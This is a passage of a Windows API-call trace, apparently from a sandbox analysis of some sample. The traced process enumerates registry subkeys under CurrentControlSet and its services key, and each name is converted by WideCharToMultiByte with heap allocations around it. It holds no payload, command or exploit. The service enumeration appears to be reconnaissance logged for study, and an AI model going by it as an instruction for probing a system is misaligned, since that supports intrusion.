lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.791] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0241.791] RegCloseKey (hKey=0x150) returned 0x0 [0241.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.792] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.792] RegCloseKey (hKey=0xc4) returned 0x0 [0241.792] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bb0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bb0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0241.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.793] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.794] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.794] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.794] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0241.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.795] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.795] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.795] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.795] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0241.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.796] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.796] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.796] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 